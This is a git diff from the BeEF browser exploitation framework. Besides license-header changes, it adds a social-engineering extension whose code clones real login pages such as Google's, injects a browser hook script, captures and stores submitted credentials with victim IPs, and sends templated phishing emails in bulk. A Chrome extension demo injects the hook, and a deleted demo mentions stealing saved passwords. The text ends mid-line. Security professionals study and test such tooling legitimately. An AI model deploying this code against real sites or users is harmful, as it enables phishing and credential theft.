-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
diff --git a/extensions/demos/extension.rb b/extensions/demos/extension.rb
index 635cea52d..c6684cf37 100644
--- a/extensions/demos/extension.rb
+++ b/extensions/demos/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/demos/flash_update_chrome_extension/background.js b/extensions/demos/flash_update_chrome_extension/background.js
index e20376b0e..808322d68 100644
--- a/extensions/demos/flash_update_chrome_extension/background.js
+++ b/extensions/demos/flash_update_chrome_extension/background.js
@@ -1,3 +1,9 @@
+/*
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
+ */
+
d=document;
e=d.createElement('script');
e.src="http://127.0.0.1:3000/hook.js";
diff --git a/extensions/demos/html/basic.html b/extensions/demos/html/basic.html
index f058afc95..c1920bed3 100644
--- a/extensions/demos/html/basic.html
+++ b/extensions/demos/html/basic.html
@@ -1,3 +1,8 @@
+
diff --git a/extensions/demos/html/butcher/butch.css b/extensions/demos/html/butcher/butch.css
index c5e6b59b4..efb2f7610 100644
--- a/extensions/demos/html/butcher/butch.css
+++ b/extensions/demos/html/butcher/butch.css
@@ -1,18 +1,9 @@
/*
- * Copyright 2012 Wade Alcorn wade@bindshell.net
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
*/
+
html {
height: 100%;
}
diff --git a/extensions/demos/html/butcher/index.html b/extensions/demos/html/butcher/index.html
index abede7df6..5c7b8264b 100644
--- a/extensions/demos/html/butcher/index.html
+++ b/extensions/demos/html/butcher/index.html
@@ -1,3 +1,8 @@
+
diff --git a/extensions/demos/html/butcher/jquery-1.5.min.js b/extensions/demos/html/butcher/jquery-1.5.min.js
index fe9eef546..86b5f7755 100644
--- a/extensions/demos/html/butcher/jquery-1.5.min.js
+++ b/extensions/demos/html/butcher/jquery-1.5.min.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* jQuery JavaScript Library v1.5
* http://jquery.com/
diff --git a/extensions/demos/html/butcher/secret_page.html b/extensions/demos/html/butcher/secret_page.html
index cf295841d..328d1d06f 100644
--- a/extensions/demos/html/butcher/secret_page.html
+++ b/extensions/demos/html/butcher/secret_page.html
@@ -1,3 +1,8 @@
+
Secret Page
diff --git a/extensions/demos/html/checkJava.java b/extensions/demos/html/checkJava.java
index c618ce069..a936e5733 100755
--- a/extensions/demos/html/checkJava.java
+++ b/extensions/demos/html/checkJava.java
@@ -1,3 +1,9 @@
+/*
+ * Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+ * Browser Exploitation Framework (BeEF) - http://beefproject.com
+ * See the file 'doc/COPYING' for copying permission
+ */
+
import java.io.*;
import java.util.*;
import java.net.*;
diff --git a/extensions/demos/html/clickjack.html b/extensions/demos/html/clickjack.html
deleted file mode 100644
index 486fe35b0..000000000
--- a/extensions/demos/html/clickjack.html
+++ /dev/null
@@ -1,4 +0,0 @@
-
- Instructions:
-
- 1. Write a fake username and password in the form below
- 2. After having submitted the form, make sure you tell firefox that you want to save
- 3. Exploit your hooked browser with the password manager theft command module.
-
+
+
+
\ No newline at end of file
diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png
new file mode 100644
index 000000000..2734ec427
Binary files /dev/null and b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-left.png differ
diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-right-arrow.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-right-arrow.png
new file mode 100644
index 000000000..51ca21042
Binary files /dev/null and b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-corner-right-arrow.png differ
diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-reflection.png b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-reflection.png
new file mode 100644
index 000000000..a4f175112
Binary files /dev/null and b/extensions/social_engineering/mass_mailer/templates/edfenergy/promo-reflection.png differ
diff --git a/extensions/social_engineering/models/interceptor.rb b/extensions/social_engineering/models/interceptor.rb
new file mode 100644
index 000000000..08599e5e4
--- /dev/null
+++ b/extensions/social_engineering/models/interceptor.rb
@@ -0,0 +1,25 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+ module Core
+ module Models
+ class Interceptor
+
+ include DataMapper::Resource
+
+ storage_names[:default] = 'extension_seng_interceptor'
+
+ property :id, Serial
+ property :ip, Text, :lazy => false
+ property :post_data, Text, :lazy => false
+
+ belongs_to :webcloner
+
+ end
+
+ end
+ end
+end
diff --git a/extensions/social_engineering/models/mass_mailer.rb b/extensions/social_engineering/models/mass_mailer.rb
new file mode 100644
index 000000000..64faa59aa
--- /dev/null
+++ b/extensions/social_engineering/models/mass_mailer.rb
@@ -0,0 +1,23 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+ module Core
+ module Models
+
+ class Massmailer
+
+ include DataMapper::Resource
+
+ storage_names[:default] = 'extension_seng_massmailer'
+
+ property :id, Serial
+
+ #todo fields
+ end
+
+ end
+ end
+end
diff --git a/extensions/social_engineering/models/web_cloner.rb b/extensions/social_engineering/models/web_cloner.rb
new file mode 100644
index 000000000..0e18315cb
--- /dev/null
+++ b/extensions/social_engineering/models/web_cloner.rb
@@ -0,0 +1,26 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+ module Core
+ module Models
+ class Webcloner
+
+ include DataMapper::Resource
+
+ storage_names[:default] = 'extension_seng_webcloner'
+
+ property :id, Serial
+
+ property :uri, Text, :lazy => false
+ property :mount, Text, :lazy => false
+
+ has n, :extension_seng_interceptor, 'Interceptor'
+
+ end
+
+ end
+ end
+end
diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb
new file mode 100644
index 000000000..332eebf6c
--- /dev/null
+++ b/extensions/social_engineering/rest/socialengineering.rb
@@ -0,0 +1,121 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+module BeEF
+ module Extension
+ module SocialEngineering
+ class SEngRest < BeEF::Core::Router::Router
+
+ config = BeEF::Core::Configuration.instance
+
+ before do
+ error 401 unless params[:token] == config.get('beef.api_token')
+ halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
+ headers 'Content-Type' => 'application/json; charset=UTF-8',
+ 'Pragma' => 'no-cache',
+ 'Cache-Control' => 'no-cache',
+ 'Expires' => '0'
+ end
+
+ #Example: curl -H "Content-Type: application/json; charset=UTF-8"
+ #-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
+ #https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}'
+ #-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
+ post '/clone_page' do
+ request.body.rewind
+ begin
+ body = JSON.parse request.body.read
+ uri = body["url"]
+ mount = body["mount"]
+ use_existing = body["use_existing"]
+
+ if uri != nil && mount != nil
+ if (uri =~ URI::regexp).nil? #invalid URI
+ print_error "Invalid URI"
+ halt 401
+ end
+
+ if !mount[/^\//] # mount needs to start with /
+ print_error "Invalid mount (need to be a relative path, and start with / )"
+ halt 401
+ end
+
+ web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
+ success = web_cloner.clone_page(uri,mount,use_existing)
+ if success
+ result = {
+ "success" => true,
+ "mount" => mount
+ }.to_json
+ else
+ result = {
+ "success" => false
+ }.to_json
+ end
+ end
+
+ rescue Exception => e
+ print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
+ error 400 # Bad Request
+ end
+ end
+
+ # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
+ #-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
+ # Example json_body:
+ #{
+ # "template": "default",
+ # "subject": "Hi from BeEF",
+ # "fromname": "BeEF",
+ # "link": "http://www.microsoft.com/security/online-privacy/phishing-symptoms.aspx",
+ # "linktext": "http://beefproject.com",
+ # "recipients": [{
+ # "user1@gmail.com": "Michele",
+ # "user2@antisnatchor.com": "Antisnatchor"
+ #}]
+ #}
+ post '/send_mails' do
+ request.body.rewind
+ begin
+ body = JSON.parse request.body.read
+
+ template = body["template"]
+ subject = body["subject"]
+ fromname = body["fromname"]
+ link = body["link"]
+ linktext = body["linktext"]
+
+ if template.nil? || subject.nil? || fromname.nil? || link.nil? || linktext.nil?
+ print_error "All parameters are mandatory."
+ halt 401
+ end
+
+ if (link =~ URI::regexp).nil?#invalid URI
+ print_error "Invalid link or linktext"
+ halt 401
+ end
+
+ recipients = body["recipients"][0]
+
+ recipients.each do |email,name|
+ if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
+ print_error "Email [#{email}] or name [#{name}] are not valid/null."
+ halt 401
+ end
+ end
+
+ mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
+ mass_mailer.send_email(template, fromname, subject, link, linktext, recipients)
+ rescue Exception => e
+ print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
+ error 400
+ end
+ end
+
+ end
+ end
+ end
+end
\ No newline at end of file
diff --git a/extensions/social_engineering/web_cloner/cloned_pages/readme.txt b/extensions/social_engineering/web_cloner/cloned_pages/readme.txt
new file mode 100644
index 000000000..ba99c53af
--- /dev/null
+++ b/extensions/social_engineering/web_cloner/cloned_pages/readme.txt
@@ -0,0 +1,12 @@
+This is the directory where the cloned pages will be placed.
+If you clone beefproject.com, there will be 2 files:
+ - beefproject.com <- original, unmodified
+ - beefproject.com_mod <- modified one
+
+In case you want to further modify the beefproject.com_mod manually,
+and serve it through BeEF, do the following:
+ - clone the page
+ - modify the beefproject.com_mod file
+ - clone the same page again, adding the "use_existing":"true" parameter in the RESTful API call.
+
+In this way the x_mod page will be served, with your custom modifications.
\ No newline at end of file
diff --git a/extensions/social_engineering/web_cloner/interceptor.rb b/extensions/social_engineering/web_cloner/interceptor.rb
new file mode 100644
index 000000000..758bd3872
--- /dev/null
+++ b/extensions/social_engineering/web_cloner/interceptor.rb
@@ -0,0 +1,51 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+ module Extension
+ module SocialEngineering
+ require 'sinatra/base'
+ class Interceptor < Sinatra::Base
+
+ configure do
+ set :show_exceptions, false
+ end
+
+ # intercept GET
+ get "/" do
+ print_info "GET request from IP #{request.ip}"
+ print_info "Referer: #{request.referer}"
+ cloned_page = settings.cloned_page
+ cloned_page
+ end
+
+ # intercept POST
+ post "/" do
+ print_info "POST request from IP #{request.ip}"
+ request.body.rewind
+ data = request.body.read
+ print_info "Intercepted data:"
+ print_info data
+
+ interceptor_db = BeEF::Core::Models::Interceptor.new(
+ :webcloner_id => settings.db_entry.id,
+ :post_data => data,
+ :ip => request.ip
+ )
+ interceptor_db.save
+
+ if settings.frameable
+ print_info "Page can be framed :-) Loading original URL into iFrame..."
+ "\n"
+ else
+ print_info "Page can not be framed :-) Redirecting to original URL..."
+ redirect settings.redirect_to
+ end
+ end
+ end
+ end
+ end
+end
+
diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb
new file mode 100644
index 000000000..81854644e
--- /dev/null
+++ b/extensions/social_engineering/web_cloner/web_cloner.rb
@@ -0,0 +1,186 @@
+#
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+module BeEF
+ module Extension
+ module SocialEngineering
+ class WebCloner
+ include Singleton
+
+
+ def initialize
+ @http_server = BeEF::Core::Server.instance
+ @config = BeEF::Core::Configuration.instance
+ @cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
+ @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
+ end
+
+ def clone_page(url, mount, use_existing)
+ print_info "Cloning page at URL #{url}"
+ uri = URI(url)
+ output = uri.host
+ output_mod = "#{output}_mod"
+ user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')
+
+ success = false
+
+ # Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,
+ # there is no need to implement the complex logic to handle all different cases.
+ # We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.
+ # So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:
+ # 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file
+ # - the user modify the example.com_mod file manually
+ # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
+ #
+ if use_existing.nil? || use_existing == false
+ begin #,"--background"
+ IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
+ success = true
+ rescue Exception => e
+ print_error "Errors executing wget: #{e}"
+ print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
+ end
+
+ if success
+ File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
+ File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
+ # Modify the